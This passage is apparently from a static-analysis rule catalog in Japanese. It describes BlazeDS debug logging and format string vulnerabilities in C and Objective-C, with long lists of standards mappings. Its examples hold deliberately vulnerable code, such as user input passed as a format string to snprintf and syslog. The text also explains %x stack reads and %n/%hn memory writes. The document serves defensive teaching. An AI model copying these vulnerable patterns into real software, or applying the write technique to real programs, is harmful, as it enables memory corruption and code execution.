[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.file_permission_manipulation
Abstract
デバッグ情報は、攻撃者がシステムについて学び、攻撃の形態を計画するのに役立ちます。
Explanation
予期せぬイベントを記録 (ログ) するのにBlaze DS を使用している場合、services-config.xml ディスクリプタファイルは "Logging" XML 要素を指定して、ログの各要素を記述します。次のようになります。

例:

<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>


この target タグでは、ログレベルを示す level と呼ばれる属性をオプションで使用できます。デバッグ レベルが詳細すぎるレベルに設定されている場合、アプリケーションが機密データをログ ファイルに書き込む可能性があります。
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[2] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[3] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[4] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[5] Standards Mapping - CIS Kubernetes Benchmark complete
[6] Standards Mapping - Common Weakness Enumeration CWE ID 11
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420, CCI-003272
[8] Standards Mapping - FIPS200 CM
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SA-15 Development Process and Standards and Tools (P2), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 SA-15 Development Process and Standards and Tools, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[12] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[13] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[14] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[16] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[17] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[18] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[19] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.1.3 Build (L2 L3)
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[32] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
関数の Format String を攻撃者が制御できる場合、Buffer Overflow の原因になることがあります。
Explanation
Format String の脆弱性が発生するのは次の場合です。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。



2. データが Format String 引数として sprintf()FormatMessageW()、または syslog() などの関数に渡される場合。
例 1: 次のコードは、snprintf() を使用してコマンド ライン引数をバッファにコピーしています。


int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}


このコードを使用して攻撃者はスタックの内容を参照し、一連の書式指定子が含まれているコマンドライン引数を使用してスタックに書き込むことが可能になります。攻撃者は、関数がフォーマットのための引数として取るよりも多くの書式指定子 (%x など) を入力することでスタックから読み取ることができます(この例では、関数はフォーマットのための引数を取っていません)。%n 書式指定子を使用することで攻撃者はスタックに書き込み、snprintf() にそこまでの出力バイト数を指定した引数に書き出させることができます (引数から値を読み出すのが本来の動作です)。この攻撃を高度にしたものは、タイミングをずらして 4 回書き込みを行うことで、スタック上のポインタ値を完全に支配下に置きます。

例 2: 実装によっては、読み取りまたは書き込みを行うメモリ内の場所を制御するフォーマット ディレクティブを入力することによって、さらに進歩した攻撃がいっそう容易になる場合があります。そのようなディレクティブの例を次のコードに示します。これは glibc 用に書かれたものです。


printf("%d %d %1$d %1$d\n", 5, 9);


このコードは次のような出力を生成します。


5 9 5 5


半書き込み (% hn) を使用してメモリ内の任意の DWORD を正確に制御することも可能です。この場合、攻撃者は、Example 1 で挙げたような、タイミングをずらして 4 回書き込みする手間を大幅に軽減することができます。

例 3: 単純な Format String の脆弱性は、多くの場合、無害に見える省略記法が原因です。こうした省略記法の使用は非常に根強い習慣となっているため、プログラマは使用している関数から Format String 引数を予想できることに気づかない場合があります。

たとえば、syslog() 関数は、ときおり次のように使用されます。


...
syslog(LOG_ERR, cmdBuf);
...
syslog() の 2 番目のパラメーターは Format String なので、cmdBuf に含まれる書式指定子は Example 1 に記載したのと同様に解釈されます。

次のコードは、syslog() の正しい使用例です。


...
syslog(LOG_ERR, "%s", cmdBuf);
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.cpp.format_string
Abstract
攻撃者は Format String 引数を制御できるため、バッファ オーバーフローのような攻撃が可能になります。
Explanation
Format String の脆弱性が発生するのは次の場合です。

1. 信頼できないソースからアプリケーションにデータが入り込んだ場合。



2. データが Format String 引数として sprintf()FormatMessageW()syslog()NSLog、または NSString.stringWithFormat などの関数に渡される場合。
例 1: 次のコードは、NSString.stringWithFormat: で Format String としてコマンド ライン引数を使用しています。


int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}


このコードを使用して攻撃者はスタックの内容を参照し、一連の書式指定子が含まれているコマンドライン引数を使用してスタックを破損することが可能になります。攻撃者は、関数がフォーマットのための引数として取るよりも多くの書式指定子 (%x など) を入力することでスタックから読み取ることができます(この例では、関数はフォーマットのための引数を取っていません)。

Objective-C は、古い C の標準ライブラリをサポートします。そのため、アプリケーションで C API が使用されている場合、次の例は悪用可能です。

例 2: 実装によっては、読み取りまたは書き込みを行うメモリ内の場所を制御するフォーマット ディレクティブを入力することによって、さらに進歩した攻撃がいっそう容易になる場合があります。そのようなディレクティブの例を次のコードに示します。これは glibc 用に書かれたものです。


printf("%d %d %1$d %1$d\n", 5, 9);


このコードは次のような出力を生成します。


5 9 5 5


半書き込み (% hn) を使用してメモリ内の任意の DWORD を正確に制御することも可能です。この場合、攻撃者は、Example 1 で挙げたような、タイミングをずらして 4 回書き込みする手間を大幅に軽減することができます。

例 3: 単純な Format String の脆弱性は、多くの場合、無害に見える省略記法が原因です。こうした省略記法の使用は非常に根強い習慣となっているため、プログラマは使用している関数から Format String 引数を予想できることに気づかない場合があります。

たとえば、syslog() 関数は、ときおり次のように使用されます。


...
syslog(LOG_ERR, cmdBuf);
...
syslog() の 2 番目のパラメーターは Format String なので、cmdBuf に含まれる書式指定子は Example 1 に記載したのと同様に解釈されます。

次のコードは、syslog() の正しい使用例です。


...
syslog(LOG_ERR, "%s", cmdBuf);
...
例 4: Apple コア クラスは、Format String の脆弱性を悪用するための方法を提供しています。

たとえば、String.stringByAppendingFormat() 関数は、ときおり次のように使用されます。


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...


stringByAppendingFormat は、渡された NSString の中に含まれている Format String 文字をパースします。

次のコードは、stringByAppendingFormat() の正しい使用例です。


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.objc.format_string
Abstract
プログラムは、関数に関連付けられている引数の数とは異なる数の変換指定子を含んだ、不適切に構築されている Format String を使用します。不正な Format String により、プログラムは割り当てられたメモリの境界外のデータを読み取ってしまう可能性があるため、機密情報へのアクセスが可能となったり、誤った動作を招いたり、プログラムがクラッシュしたりする場合があります。
Explanation
Buffer Overflow は、ソフトウェアセキュリティの脆弱性の中で最も有名な形態でしょう。Buffer Overflow の脆弱性については大半のソフトウェア開発者に知られているにも関わらず、依然として Buffer Overflow は新旧を問わずアプリケーションに対して最も多く見られる攻撃です。これは、Buffer Overflow には多種多様の発生形態があることや、この攻撃を阻止するために使用される手法が誤りやすいものであることによるものです。

古典的な Buffer Overflow の悪用では、攻撃者がプログラムに送信したデータが、それよりも小さいサイズのスタックバッファに格納されます。その結果、コールスタックにある情報、特に関数の戻りポインタが上書きされます。このデータがセットした戻りポインタの値に関数が戻ると、攻撃者のデータに含まれる悪意あるコードに制御が移ります。

このタイプのスタック Buffer Overflow は一部のプラットフォームや開発コミュニティでは今でも一般的ですが、ほかにもヒープ Buffer Overflow や「一つ違い」エラーなどのさまざまな Buffer Overflow があります。Buffer Overflow 攻撃の仕組みを解説した書籍には、Building Secure Software [1]、Writing Secure Code [2]、The Shellcoder's Handbook [3] など優れた本が数多くあります。

コードのレベルでは、Buffer Overflow 脆弱性には通常、プログラマの想定外のことが含まれます。C および C++ のメモリ操作関数の多くは境界チェックを行わないため、動作しているバッファに対して割り当てられた境界を簡単に超過する場合があります。strncpy() など境界が定められた関数の場合も、不正に使用されると脆弱性の原因になります。メモリの操作と、データのサイズや構成に関する誤った想定が同時に発生することが、大部分の Buffer Overflow の根本的な原因です。

この場合、不適切に構築されている Format String が原因で、プログラムは割り当てられたメモリの境界外にある値にアクセスします。

例: 次のコードはスタックから任意の値を読み取っています。これは、Format String にある形式指定子の数が、関数に渡される引数の数と一致していないためです。

void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 126
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[19] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[20] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
